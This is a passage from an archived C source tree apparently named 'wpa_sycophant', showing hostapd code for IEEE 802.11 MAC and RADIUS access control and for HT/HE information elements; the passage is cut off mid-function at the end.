sae_accept_sta(struct hostapd_data *hapd, struct sta_info *sta); #else /* CONFIG_SAE */ static inline void sae_clear_retransmit_timer(struct hostapd_data *hapd, struct sta_info *sta) { } #endif /* CONFIG_SAE */ #ifdef CONFIG_MBO u8 * hostapd_eid_mbo(struct hostapd_data *hapd, u8 *eid, size_t len); u8 hostapd_mbo_ie_len(struct hostapd_data *hapd); #else /* CONFIG_MBO */ static inline u8 * hostapd_eid_mbo(struct hostapd_data *hapd, u8 *eid, size_t len) { return eid; } static inline u8 hostapd_mbo_ie_len(struct hostapd_data *hapd) { return 0; } #endif /* CONFIG_MBO */ void ap_copy_sta_supp_op_classes(struct sta_info *sta, const u8 *supp_op_classes, size_t supp_op_classes_len); u8 * hostapd_eid_fils_indic(struct hostapd_data *hapd, u8 *eid, int hessid); void ieee802_11_finish_fils_auth(struct hostapd_data *hapd, struct sta_info *sta, int success, struct wpabuf *erp_resp, const u8 *msk, size_t msk_len); u8 * owe_assoc_req_process(struct hostapd_data *hapd, struct sta_info *sta, const u8 *owe_dh, u8 owe_dh_len, u8 *owe_buf, size_t owe_buf_len, u16 *reason); void fils_hlp_timeout(void *eloop_ctx, void *eloop_data); void fils_hlp_finish_assoc(struct hostapd_data *hapd, struct sta_info *sta); void handle_auth_fils(struct hostapd_data *hapd, struct sta_info *sta, const u8 *pos, size_t len, u16 auth_alg, u16 auth_transaction, u16 status_code, void (*cb)(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub)); size_t hostapd_eid_owe_trans_len(struct hostapd_data *hapd); u8 * hostapd_eid_owe_trans(struct hostapd_data *hapd, u8 *eid, size_t len); int ieee802_11_allowed_address(struct hostapd_data *hapd, const u8 *addr, const u8 *msg, size_t len, u32 *session_timeout, u32 *acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui, int is_probe_req); #endif /* IEEE802_11_H */ wpa_sycophant-master/src/ap/ieee802_11_auth.c000066400000000000000000000444311377436615100212670ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 authentication (ACL) * Copyright (c) 2003-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. * * Access control list for IEEE 802.11 authentication can uses statically * configured ACL from configuration files or an external RADIUS server. * Results from external RADIUS queries are cached to allow faster * authentication frame processing. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "radius/radius.h" #include "radius/radius_client.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "ieee802_11.h" #include "ieee802_1x.h" #include "ieee802_11_auth.h" #define RADIUS_ACL_TIMEOUT 30 struct hostapd_cached_radius_acl { struct os_reltime timestamp; macaddr addr; int accepted; /* HOSTAPD_ACL_* */ struct hostapd_cached_radius_acl *next; u32 session_timeout; u32 acct_interim_interval; struct vlan_description vlan_id; struct hostapd_sta_wpa_psk_short *psk; char *identity; char *radius_cui; }; struct hostapd_acl_query_data { struct os_reltime timestamp; u8 radius_id; macaddr addr; u8 *auth_msg; /* IEEE 802.11 authentication frame from station */ size_t auth_msg_len; struct hostapd_acl_query_data *next; }; #ifndef CONFIG_NO_RADIUS static void hostapd_acl_cache_free_entry(struct hostapd_cached_radius_acl *e) { os_free(e->identity); os_free(e->radius_cui); hostapd_free_psk_list(e->psk); os_free(e); } static void hostapd_acl_cache_free(struct hostapd_cached_radius_acl *acl_cache) { struct hostapd_cached_radius_acl *prev; while (acl_cache) { prev = acl_cache; acl_cache = acl_cache->next; hostapd_acl_cache_free_entry(prev); } } static void copy_psk_list(struct hostapd_sta_wpa_psk_short **psk, struct hostapd_sta_wpa_psk_short *src) { if (!psk) return; if (src) src->ref++; *psk = src; } static int hostapd_acl_cache_get(struct hostapd_data *hapd, const u8 *addr, u32 *session_timeout, u32 *acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui) { struct hostapd_cached_radius_acl *entry; struct os_reltime now; os_get_reltime(&now); for (entry = hapd->acl_cache; entry; entry = entry->next) { if (os_memcmp(entry->addr, addr, ETH_ALEN) != 0) continue; if (os_reltime_expired(&now, &entry->timestamp, RADIUS_ACL_TIMEOUT)) return -1; /* entry has expired */ if (entry->accepted == HOSTAPD_ACL_ACCEPT_TIMEOUT) if (session_timeout) *session_timeout = entry->session_timeout; if (acct_interim_interval) *acct_interim_interval = entry->acct_interim_interval; if (vlan_id) *vlan_id = entry->vlan_id; copy_psk_list(psk, entry->psk); if (identity) { if (entry->identity) *identity = os_strdup(entry->identity); else *identity = NULL; } if (radius_cui) { if (entry->radius_cui) *radius_cui = os_strdup(entry->radius_cui); else *radius_cui = NULL; } return entry->accepted; } return -1; } #endif /* CONFIG_NO_RADIUS */ static void hostapd_acl_query_free(struct hostapd_acl_query_data *query) { if (query == NULL) return; os_free(query->auth_msg); os_free(query); } #ifndef CONFIG_NO_RADIUS static int hostapd_radius_acl_query(struct hostapd_data *hapd, const u8 *addr, struct hostapd_acl_query_data *query) { struct radius_msg *msg; char buf[128]; query->radius_id = radius_client_get_id(hapd->radius); msg = radius_msg_new(RADIUS_CODE_ACCESS_REQUEST, query->radius_id); if (msg == NULL) return -1; if (radius_msg_make_authenticator(msg) < 0) { wpa_printf(MSG_INFO, "Could not make Request Authenticator"); goto fail; } os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, MAC2STR(addr)); if (!radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_DEBUG, "Could not add User-Name"); goto fail; } if (!radius_msg_add_attr_user_password( msg, (u8 *) buf, os_strlen(buf), hapd->conf->radius->auth_server->shared_secret, hapd->conf->radius->auth_server->shared_secret_len)) { wpa_printf(MSG_DEBUG, "Could not add User-Password"); goto fail; } if (add_common_radius_attr(hapd, hapd->conf->radius_auth_req_attr, NULL, msg) < 0) goto fail; os_snprintf(buf, sizeof(buf), RADIUS_802_1X_ADDR_FORMAT, MAC2STR(addr)); if (!radius_msg_add_attr(msg, RADIUS_ATTR_CALLING_STATION_ID, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_DEBUG, "Could not add Calling-Station-Id"); goto fail; } os_snprintf(buf, sizeof(buf), "CONNECT 11Mbps 802.11b"); if (!radius_msg_add_attr(msg, RADIUS_ATTR_CONNECT_INFO, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_DEBUG, "Could not add Connect-Info"); goto fail; } if (radius_client_send(hapd->radius, msg, RADIUS_AUTH, addr) < 0) goto fail; return 0; fail: radius_msg_free(msg); return -1; } #endif /* CONFIG_NO_RADIUS */ /** * hostapd_check_acl - Check a specified STA against accept/deny ACLs * @hapd: hostapd BSS data * @addr: MAC address of the STA * @vlan_id: Buffer for returning VLAN ID * Returns: HOSTAPD_ACL_ACCEPT, HOSTAPD_ACL_REJECT, or HOSTAPD_ACL_PENDING */ int hostapd_check_acl(struct hostapd_data *hapd, const u8 *addr, struct vlan_description *vlan_id) { if (hostapd_maclist_found(hapd->conf->accept_mac, hapd->conf->num_accept_mac, addr, vlan_id)) return HOSTAPD_ACL_ACCEPT; if (hostapd_maclist_found(hapd->conf->deny_mac, hapd->conf->num_deny_mac, addr, vlan_id)) return HOSTAPD_ACL_REJECT; if (hapd->conf->macaddr_acl == ACCEPT_UNLESS_DENIED) return HOSTAPD_ACL_ACCEPT; if (hapd->conf->macaddr_acl == DENY_UNLESS_ACCEPTED) return HOSTAPD_ACL_REJECT; return HOSTAPD_ACL_PENDING; } /** * hostapd_allowed_address - Check whether a specified STA can be authenticated * @hapd: hostapd BSS data * @addr: MAC address of the STA * @msg: Authentication message * @len: Length of msg in octets * @session_timeout: Buffer for returning session timeout (from RADIUS) * @acct_interim_interval: Buffer for returning account interval (from RADIUS) * @vlan_id: Buffer for returning VLAN ID * @psk: Linked list buffer for returning WPA PSK * @identity: Buffer for returning identity (from RADIUS) * @radius_cui: Buffer for returning CUI (from RADIUS) * @is_probe_req: Whether this query for a Probe Request frame * Returns: HOSTAPD_ACL_ACCEPT, HOSTAPD_ACL_REJECT, or HOSTAPD_ACL_PENDING * * The caller is responsible for freeing the returned *identity and *radius_cui * values with os_free(). */ int hostapd_allowed_address(struct hostapd_data *hapd, const u8 *addr, const u8 *msg, size_t len, u32 *session_timeout, u32 *acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui, int is_probe_req) { int res; if (session_timeout) *session_timeout = 0; if (acct_interim_interval) *acct_interim_interval = 0; if (vlan_id) os_memset(vlan_id, 0, sizeof(*vlan_id)); if (psk) *psk = NULL; if (identity) *identity = NULL; if (radius_cui) *radius_cui = NULL; res = hostapd_check_acl(hapd, addr, vlan_id); if (res != HOSTAPD_ACL_PENDING) return res; if (hapd->conf->macaddr_acl == USE_EXTERNAL_RADIUS_AUTH) { #ifdef CONFIG_NO_RADIUS return HOSTAPD_ACL_REJECT; #else /* CONFIG_NO_RADIUS */ struct hostapd_acl_query_data *query; if (is_probe_req) { /* Skip RADIUS queries for Probe Request frames to avoid * excessive load on the authentication server. */ return HOSTAPD_ACL_ACCEPT; }; /* Check whether ACL cache has an entry for this station */ res = hostapd_acl_cache_get(hapd, addr, session_timeout, acct_interim_interval, vlan_id, psk, identity, radius_cui); if (res == HOSTAPD_ACL_ACCEPT || res == HOSTAPD_ACL_ACCEPT_TIMEOUT) return res; if (res == HOSTAPD_ACL_REJECT) return HOSTAPD_ACL_REJECT; query = hapd->acl_queries; while (query) { if (os_memcmp(query->addr, addr, ETH_ALEN) == 0) { /* pending query in RADIUS retransmit queue; * do not generate a new one */ if (identity) { os_free(*identity); *identity = NULL; } if (radius_cui) { os_free(*radius_cui); *radius_cui = NULL; } return HOSTAPD_ACL_PENDING; } query = query->next; } if (!hapd->conf->radius->auth_server) return HOSTAPD_ACL_REJECT; /* No entry in the cache - query external RADIUS server */ query = os_zalloc(sizeof(*query)); if (query == NULL) { wpa_printf(MSG_ERROR, "malloc for query data failed"); return HOSTAPD_ACL_REJECT; } os_get_reltime(&query->timestamp); os_memcpy(query->addr, addr, ETH_ALEN); if (hostapd_radius_acl_query(hapd, addr, query)) { wpa_printf(MSG_DEBUG, "Failed to send Access-Request " "for ACL query."); hostapd_acl_query_free(query); return HOSTAPD_ACL_REJECT; } query->auth_msg = os_memdup(msg, len); if (query->auth_msg == NULL) { wpa_printf(MSG_ERROR, "Failed to allocate memory for " "auth frame."); hostapd_acl_query_free(query); return HOSTAPD_ACL_REJECT; } query->auth_msg_len = len; query->next = hapd->acl_queries; hapd->acl_queries = query; /* Queued data will be processed in hostapd_acl_recv_radius() * when RADIUS server replies to the sent Access-Request. */ return HOSTAPD_ACL_PENDING; #endif /* CONFIG_NO_RADIUS */ } return HOSTAPD_ACL_REJECT; } #ifndef CONFIG_NO_RADIUS static void hostapd_acl_expire_cache(struct hostapd_data *hapd, struct os_reltime *now) { struct hostapd_cached_radius_acl *prev, *entry, *tmp; prev = NULL; entry = hapd->acl_cache; while (entry) { if (os_reltime_expired(now, &entry->timestamp, RADIUS_ACL_TIMEOUT)) { wpa_printf(MSG_DEBUG, "Cached ACL entry for " MACSTR " has expired.", MAC2STR(entry->addr)); if (prev) prev->next = entry->next; else hapd->acl_cache = entry->next; hostapd_drv_set_radius_acl_expire(hapd, entry->addr); tmp = entry; entry = entry->next; hostapd_acl_cache_free_entry(tmp); continue; } prev = entry; entry = entry->next; } } static void hostapd_acl_expire_queries(struct hostapd_data *hapd, struct os_reltime *now) { struct hostapd_acl_query_data *prev, *entry, *tmp; prev = NULL; entry = hapd->acl_queries; while (entry) { if (os_reltime_expired(now, &entry->timestamp, RADIUS_ACL_TIMEOUT)) { wpa_printf(MSG_DEBUG, "ACL query for " MACSTR " has expired.", MAC2STR(entry->addr)); if (prev) prev->next = entry->next; else hapd->acl_queries = entry->next; tmp = entry; entry = entry->next; hostapd_acl_query_free(tmp); continue; } prev = entry; entry = entry->next; } } /** * hostapd_acl_expire - ACL cache expiration callback * @hapd: struct hostapd_data * */ void hostapd_acl_expire(struct hostapd_data *hapd) { struct os_reltime now; os_get_reltime(&now); hostapd_acl_expire_cache(hapd, &now); hostapd_acl_expire_queries(hapd, &now); } static void decode_tunnel_passwords(struct hostapd_data *hapd, const u8 *shared_secret, size_t shared_secret_len, struct radius_msg *msg, struct radius_msg *req, struct hostapd_cached_radius_acl *cache) { int passphraselen; char *passphrase; size_t i; struct hostapd_sta_wpa_psk_short *psk; /* * Decode all tunnel passwords as PSK and save them into a linked list. */ for (i = 0; ; i++) { passphrase = radius_msg_get_tunnel_password( msg, &passphraselen, shared_secret, shared_secret_len, req, i); /* * Passphrase is NULL iff there is no i-th Tunnel-Password * attribute in msg. */ if (passphrase == NULL) break; /* * Passphase should be 8..63 chars (to be hashed with SSID) * or 64 chars hex string (no separate hashing with SSID). */ if (passphraselen < MIN_PASSPHRASE_LEN || passphraselen > MAX_PASSPHRASE_LEN + 1) goto free_pass; /* * passphrase does not contain the NULL termination. * Add it here as pbkdf2_sha1() requires it. */ psk = os_zalloc(sizeof(struct hostapd_sta_wpa_psk_short)); if (psk) { if ((passphraselen == MAX_PASSPHRASE_LEN + 1) && (hexstr2bin(passphrase, psk->psk, PMK_LEN) < 0)) { hostapd_logger(hapd, cache->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_WARNING, "invalid hex string (%d chars) in Tunnel-Password", passphraselen); goto skip; } else if (passphraselen <= MAX_PASSPHRASE_LEN) { os_memcpy(psk->passphrase, passphrase, passphraselen); psk->is_passphrase = 1; } psk->next = cache->psk; cache->psk = psk; psk = NULL; } skip: os_free(psk); free_pass: os_free(passphrase); } } /** * hostapd_acl_recv_radius - Process incoming RADIUS Authentication messages * @msg: RADIUS response message * @req: RADIUS request message * @shared_secret: RADIUS shared secret * @shared_secret_len: Length of shared_secret in octets * @data: Context data (struct hostapd_data *) * Returns: RADIUS_RX_PROCESSED if RADIUS message was a reply to ACL query (and * was processed here) or RADIUS_RX_UNKNOWN if not. */ static RadiusRxResult hostapd_acl_recv_radius(struct radius_msg *msg, struct radius_msg *req, const u8 *shared_secret, size_t shared_secret_len, void *data) { struct hostapd_data *hapd = data; struct hostapd_acl_query_data *query, *prev; struct hostapd_cached_radius_acl *cache; struct radius_hdr *hdr = radius_msg_get_hdr(msg); int *untagged, *tagged, *notempty; query = hapd->acl_queries; prev = NULL; while (query) { if (query->radius_id == hdr->identifier) break; prev = query; query = query->next; } if (query == NULL) return RADIUS_RX_UNKNOWN; wpa_printf(MSG_DEBUG, "Found matching Access-Request for RADIUS " "message (id=%d)", query->radius_id); if (radius_msg_verify(msg, shared_secret, shared_secret_len, req, 0)) { wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have " "correct authenticator - dropped\n"); return RADIUS_RX_INVALID_AUTHENTICATOR; } if (hdr->code != RADIUS_CODE_ACCESS_ACCEPT && hdr->code != RADIUS_CODE_ACCESS_REJECT) { wpa_printf(MSG_DEBUG, "Unknown RADIUS message code %d to ACL " "query", hdr->code); return RADIUS_RX_UNKNOWN; } /* Insert Accept/Reject info into ACL cache */ cache = os_zalloc(sizeof(*cache)); if (cache == NULL) { wpa_printf(MSG_DEBUG, "Failed to add ACL cache entry"); goto done; } os_get_reltime(&cache->timestamp); os_memcpy(cache->addr, query->addr, sizeof(cache->addr)); if (hdr->code == RADIUS_CODE_ACCESS_ACCEPT) { u8 *buf; size_t len; if (radius_msg_get_attr_int32(msg, RADIUS_ATTR_SESSION_TIMEOUT, &cache->session_timeout) == 0) cache->accepted = HOSTAPD_ACL_ACCEPT_TIMEOUT; else cache->accepted = HOSTAPD_ACL_ACCEPT; if (radius_msg_get_attr_int32( msg, RADIUS_ATTR_ACCT_INTERIM_INTERVAL, &cache->acct_interim_interval) == 0 && cache->acct_interim_interval < 60) { wpa_printf(MSG_DEBUG, "Ignored too small " "Acct-Interim-Interval %d for STA " MACSTR, cache->acct_interim_interval, MAC2STR(query->addr)); cache->acct_interim_interval = 0; } notempty = &cache->vlan_id.notempty; untagged = &cache->vlan_id.untagged; tagged = cache->vlan_id.tagged; *notempty = !!radius_msg_get_vlanid(msg, untagged, MAX_NUM_TAGGED_VLAN, tagged); decode_tunnel_passwords(hapd, shared_secret, shared_secret_len, msg, req, cache); if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_USER_NAME, &buf, &len, NULL) == 0) { cache->identity = os_zalloc(len + 1); if (cache->identity) os_memcpy(cache->identity, buf, len); } if (radius_msg_get_attr_ptr( msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len, NULL) == 0) { cache->radius_cui = os_zalloc(len + 1); if (cache->radius_cui) os_memcpy(cache->radius_cui, buf, len); } if (hapd->conf->wpa_psk_radius == PSK_RADIUS_REQUIRED && !cache->psk) cache->accepted = HOSTAPD_ACL_REJECT; if (cache->vlan_id.notempty && !hostapd_vlan_valid(hapd->conf->vlan, &cache->vlan_id)) { hostapd_logger(hapd, query->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "Invalid VLAN %d%s received from RADIUS server", cache->vlan_id.untagged, cache->vlan_id.tagged[0] ? "+" : ""); os_memset(&cache->vlan_id, 0, sizeof(cache->vlan_id)); } if (hapd->conf->ssid.dynamic_vlan == DYNAMIC_VLAN_REQUIRED && !cache->vlan_id.notempty) cache->accepted = HOSTAPD_ACL_REJECT; } else cache->accepted = HOSTAPD_ACL_REJECT; cache->next = hapd->acl_cache; hapd->acl_cache = cache; #ifdef CONFIG_DRIVER_RADIUS_ACL hostapd_drv_set_radius_acl_auth(hapd, query->addr, cache->accepted, cache->session_timeout); #else /* CONFIG_DRIVER_RADIUS_ACL */ #ifdef NEED_AP_MLME /* Re-send original authentication frame for 802.11 processing */ wpa_printf(MSG_DEBUG, "Re-sending authentication frame after " "successful RADIUS ACL query"); ieee802_11_mgmt(hapd, query->auth_msg, query->auth_msg_len, NULL); #endif /* NEED_AP_MLME */ #endif /* CONFIG_DRIVER_RADIUS_ACL */ done: if (prev == NULL) hapd->acl_queries = query->next; else prev->next = query->next; hostapd_acl_query_free(query); return RADIUS_RX_PROCESSED; } #endif /* CONFIG_NO_RADIUS */ /** * hostapd_acl_init: Initialize IEEE 802.11 ACL * @hapd: hostapd BSS data * Returns: 0 on success, -1 on failure */ int hostapd_acl_init(struct hostapd_data *hapd) { #ifndef CONFIG_NO_RADIUS if (radius_client_register(hapd->radius, RADIUS_AUTH, hostapd_acl_recv_radius, hapd)) return -1; #endif /* CONFIG_NO_RADIUS */ return 0; } /** * hostapd_acl_deinit - Deinitialize IEEE 802.11 ACL * @hapd: hostapd BSS data */ void hostapd_acl_deinit(struct hostapd_data *hapd) { struct hostapd_acl_query_data *query, *prev; #ifndef CONFIG_NO_RADIUS hostapd_acl_cache_free(hapd->acl_cache); hapd->acl_cache = NULL; #endif /* CONFIG_NO_RADIUS */ query = hapd->acl_queries; hapd->acl_queries = NULL; while (query) { prev = query; query = query->next; hostapd_acl_query_free(prev); } } void hostapd_free_psk_list(struct hostapd_sta_wpa_psk_short *psk) { if (psk && psk->ref) { /* This will be freed when the last reference is dropped. */ psk->ref--; return; } while (psk) { struct hostapd_sta_wpa_psk_short *prev = psk; psk = psk->next; os_free(prev); } } wpa_sycophant-master/src/ap/ieee802_11_auth.h000066400000000000000000000020501377436615100212630ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 authentication (ACL) * Copyright (c) 2003-2005, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef IEEE802_11_AUTH_H #define IEEE802_11_AUTH_H enum { HOSTAPD_ACL_REJECT = 0, HOSTAPD_ACL_ACCEPT = 1, HOSTAPD_ACL_PENDING = 2, HOSTAPD_ACL_ACCEPT_TIMEOUT = 3 }; int hostapd_check_acl(struct hostapd_data *hapd, const u8 *addr, struct vlan_description *vlan_id); int hostapd_allowed_address(struct hostapd_data *hapd, const u8 *addr, const u8 *msg, size_t len, u32 *session_timeout, u32 *acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui, int is_probe_req); int hostapd_acl_init(struct hostapd_data *hapd); void hostapd_acl_deinit(struct hostapd_data *hapd); void hostapd_free_psk_list(struct hostapd_sta_wpa_psk_short *psk); void hostapd_acl_expire(struct hostapd_data *hapd); #endif /* IEEE802_11_AUTH_H */ wpa_sycophant-master/src/ap/ieee802_11_he.c000066400000000000000000000043671377436615100207260ustar00rootroot00000000000000/* * hostapd / IEEE 802.11ax HE * Copyright (c) 2016-2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "hostapd.h" #include "ap_config.h" #include "beacon.h" #include "ieee802_11.h" #include "dfs.h" u8 * hostapd_eid_he_capab(struct hostapd_data *hapd, u8 *eid) { struct ieee80211_he_capabilities *cap; u8 *pos = eid; if (!hapd->iface->current_mode) return eid; *pos++ = WLAN_EID_EXTENSION; *pos++ = 1 + sizeof(struct ieee80211_he_capabilities); *pos++ = WLAN_EID_EXT_HE_CAPABILITIES; cap = (struct ieee80211_he_capabilities *) pos; os_memset(cap, 0, sizeof(*cap)); if (hapd->iface->conf->he_phy_capab.he_su_beamformer) cap->he_phy_capab_info[HE_PHYCAP_SU_BEAMFORMER_CAPAB_IDX] |= HE_PHYCAP_SU_BEAMFORMER_CAPAB; if (hapd->iface->conf->he_phy_capab.he_su_beamformee) cap->he_phy_capab_info[HE_PHYCAP_SU_BEAMFORMEE_CAPAB_IDX] |= HE_PHYCAP_SU_BEAMFORMEE_CAPAB; if (hapd->iface->conf->he_phy_capab.he_mu_beamformer) cap->he_phy_capab_info[HE_PHYCAP_MU_BEAMFORMER_CAPAB_IDX] |= HE_PHYCAP_MU_BEAMFORMER_CAPAB; pos += sizeof(*cap); return pos; } u8 * hostapd_eid_he_operation(struct hostapd_data *hapd, u8 *eid) { struct ieee80211_he_operation *oper; u8 *pos = eid; if (!hapd->iface->current_mode) return eid; *pos++ = WLAN_EID_EXTENSION; *pos++ = 1 + sizeof(struct ieee80211_he_operation); *pos++ = WLAN_EID_EXT_HE_OPERATION; oper = (struct ieee80211_he_operation *) pos; os_memset(oper, 0, sizeof(*oper)); if (hapd->iface->conf->he_op.he_bss_color) oper->he_oper_params |= hapd->iface->conf->he_op.he_bss_color; if (hapd->iface->conf->he_op.he_default_pe_duration) oper->he_oper_params |= (hapd->iface->conf->he_op.he_default_pe_duration << HE_OPERATION_DFLT_PE_DURATION_OFFSET); if (hapd->iface->conf->he_op.he_twt_required) oper->he_oper_params |= HE_OPERATION_TWT_REQUIRED; if (hapd->iface->conf->he_op.he_rts_threshold) oper->he_oper_params |= (hapd->iface->conf->he_op.he_rts_threshold << HE_OPERATION_RTS_THRESHOLD_OFFSET); /* TODO: conditional MaxBSSID Indicator subfield */ pos += sizeof(*oper); return pos; } wpa_sycophant-master/src/ap/ieee802_11_ht.c000066400000000000000000000403351377436615100207400ustar00rootroot00000000000000/* * hostapd / IEEE 802.11n HT * Copyright (c) 2002-2009, Jouni Malinen * Copyright (c) 2007-2008, Intel Corporation * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "hostapd.h" #include "ap_config.h" #include "sta_info.h" #include "beacon.h" #include "ieee802_11.h" #include "hw_features.h" #include "ap_drv_ops.h" u8 * hostapd_eid_ht_capabilities(struct hostapd_data *hapd, u8 *eid) { struct ieee80211_ht_capabilities *cap; u8 *pos = eid; if (!hapd->iconf->ieee80211n || !hapd->iface->current_mode || hapd->conf->disable_11n) return eid; *pos++ = WLAN_EID_HT_CAP; *pos++ = sizeof(*cap); cap = (struct ieee80211_ht_capabilities *) pos; os_memset(cap, 0, sizeof(*cap)); cap->ht_capabilities_info = host_to_le16(hapd->iconf->ht_capab); cap->a_mpdu_params = hapd->iface->current_mode->a_mpdu_params; os_memcpy(cap->supported_mcs_set, hapd->iface->current_mode->mcs_set, 16); /* TODO: ht_extended_capabilities (now fully disabled) */ /* TODO: tx_bf_capability_info (now fully disabled) */ /* TODO: asel_capabilities (now fully disabled) */ pos += sizeof(*cap); if (hapd->iconf->obss_interval) { struct ieee80211_obss_scan_parameters *scan_params; *pos++ = WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS; *pos++ = sizeof(*scan_params); scan_params = (struct ieee80211_obss_scan_parameters *) pos; os_memset(scan_params, 0, sizeof(*scan_params)); scan_params->width_trigger_scan_interval = host_to_le16(hapd->iconf->obss_interval); /* Fill in default values for remaining parameters * (IEEE Std 802.11-2012, 8.4.2.61 and MIB defval) */ scan_params->scan_passive_dwell = host_to_le16(20); scan_params->scan_active_dwell = host_to_le16(10); scan_params->scan_passive_total_per_channel = host_to_le16(200); scan_params->scan_active_total_per_channel = host_to_le16(20); scan_params->channel_transition_delay_factor = host_to_le16(5); scan_params->scan_activity_threshold = host_to_le16(25); pos += sizeof(*scan_params); } return pos; } u8 * hostapd_eid_ht_operation(struct hostapd_data *hapd, u8 *eid) { struct ieee80211_ht_operation *oper; u8 *pos = eid; if (!hapd->iconf->ieee80211n || hapd->conf->disable_11n) return eid; *pos++ = WLAN_EID_HT_OPERATION; *pos++ = sizeof(*oper); oper = (struct ieee80211_ht_operation *) pos; os_memset(oper, 0, sizeof(*oper)); oper->primary_chan = hapd->iconf->channel; oper->operation_mode = host_to_le16(hapd->iface->ht_op_mode); if (hapd->iconf->secondary_channel == 1) oper->ht_param |= HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE | HT_INFO_HT_PARAM_STA_CHNL_WIDTH; if (hapd->iconf->secondary_channel == -1) oper->ht_param |= HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW | HT_INFO_HT_PARAM_STA_CHNL_WIDTH; pos += sizeof(*oper); return pos; } u8 * hostapd_eid_secondary_channel(struct hostapd_data *hapd, u8 *eid) { u8 sec_ch; if (!hapd->cs_freq_params.channel || !hapd->cs_freq_params.sec_channel_offset) return eid; if (hapd->cs_freq_params.sec_channel_offset == -1) sec_ch = HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW; else if (hapd->cs_freq_params.sec_channel_offset == 1) sec_ch = HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE; else return eid; *eid++ = WLAN_EID_SECONDARY_CHANNEL_OFFSET; *eid++ = 1; *eid++ = sec_ch; return eid; } /* op_mode Set to 0 (HT pure) under the followign conditions - all STAs in the BSS are 20/40 MHz HT in 20/40 MHz BSS or - all STAs in the BSS are 20 MHz HT in 20 MHz BSS Set to 1 (HT non-member protection) if there may be non-HT STAs in both the primary and the secondary channel Set to 2 if only HT STAs are associated in BSS, however and at least one 20 MHz HT STA is associated Set to 3 (HT mixed mode) when one or more non-HT STAs are associated */ int hostapd_ht_operation_update(struct hostapd_iface *iface) { u16 cur_op_mode, new_op_mode; int op_mode_changes = 0; if (!iface->conf->ieee80211n || iface->conf->ht_op_mode_fixed) return 0; wpa_printf(MSG_DEBUG, "%s current operation mode=0x%X", __func__, iface->ht_op_mode); if (!(iface->ht_op_mode & HT_OPER_OP_MODE_NON_GF_HT_STAS_PRESENT) && iface->num_sta_ht_no_gf) { iface->ht_op_mode |= HT_OPER_OP_MODE_NON_GF_HT_STAS_PRESENT; op_mode_changes++; } else if ((iface->ht_op_mode & HT_OPER_OP_MODE_NON_GF_HT_STAS_PRESENT) && iface->num_sta_ht_no_gf == 0) { iface->ht_op_mode &= ~HT_OPER_OP_MODE_NON_GF_HT_STAS_PRESENT; op_mode_changes++; } if (!(iface->ht_op_mode & HT_OPER_OP_MODE_OBSS_NON_HT_STAS_PRESENT) && (iface->num_sta_no_ht || iface->olbc_ht)) { iface->ht_op_mode |= HT_OPER_OP_MODE_OBSS_NON_HT_STAS_PRESENT; op_mode_changes++; } else if ((iface->ht_op_mode & HT_OPER_OP_MODE_OBSS_NON_HT_STAS_PRESENT) && (iface->num_sta_no_ht == 0 && !iface->olbc_ht)) { iface->ht_op_mode &= ~HT_OPER_OP_MODE_OBSS_NON_HT_STAS_PRESENT; op_mode_changes++; } if (iface->num_sta_no_ht) new_op_mode = HT_PROT_NON_HT_MIXED; else if (iface->conf->secondary_channel && iface->num_sta_ht_20mhz) new_op_mode = HT_PROT_20MHZ_PROTECTION; else if (iface->olbc_ht) new_op_mode = HT_PROT_NONMEMBER_PROTECTION; else new_op_mode = HT_PROT_NO_PROTECTION; cur_op_mode = iface->ht_op_mode & HT_OPER_OP_MODE_HT_PROT_MASK; if (cur_op_mode != new_op_mode) { iface->ht_op_mode &= ~HT_OPER_OP_MODE_HT_PROT_MASK; iface->ht_op_mode |= new_op_mode; op_mode_changes++; } wpa_printf(MSG_DEBUG, "%s new operation mode=0x%X changes=%d", __func__, iface->ht_op_mode, op_mode_changes); return op_mode_changes; } static int is_40_allowed(struct hostapd_iface *iface, int channel) { int pri_freq, sec_freq; int affected_start, affected_end; int pri = 2407 + 5 * channel; if (iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) return 1; pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); if (iface->conf->secondary_channel > 0) sec_freq = pri_freq + 20; else sec_freq = pri_freq - 20; affected_start = (pri_freq + sec_freq) / 2 - 25; affected_end = (pri_freq + sec_freq) / 2 + 25; if ((pri < affected_start || pri > affected_end)) return 1; /* not within affected channel range */ wpa_printf(MSG_ERROR, "40 MHz affected channel range: [%d,%d] MHz", affected_start, affected_end); wpa_printf(MSG_ERROR, "Neighboring BSS: freq=%d", pri); return 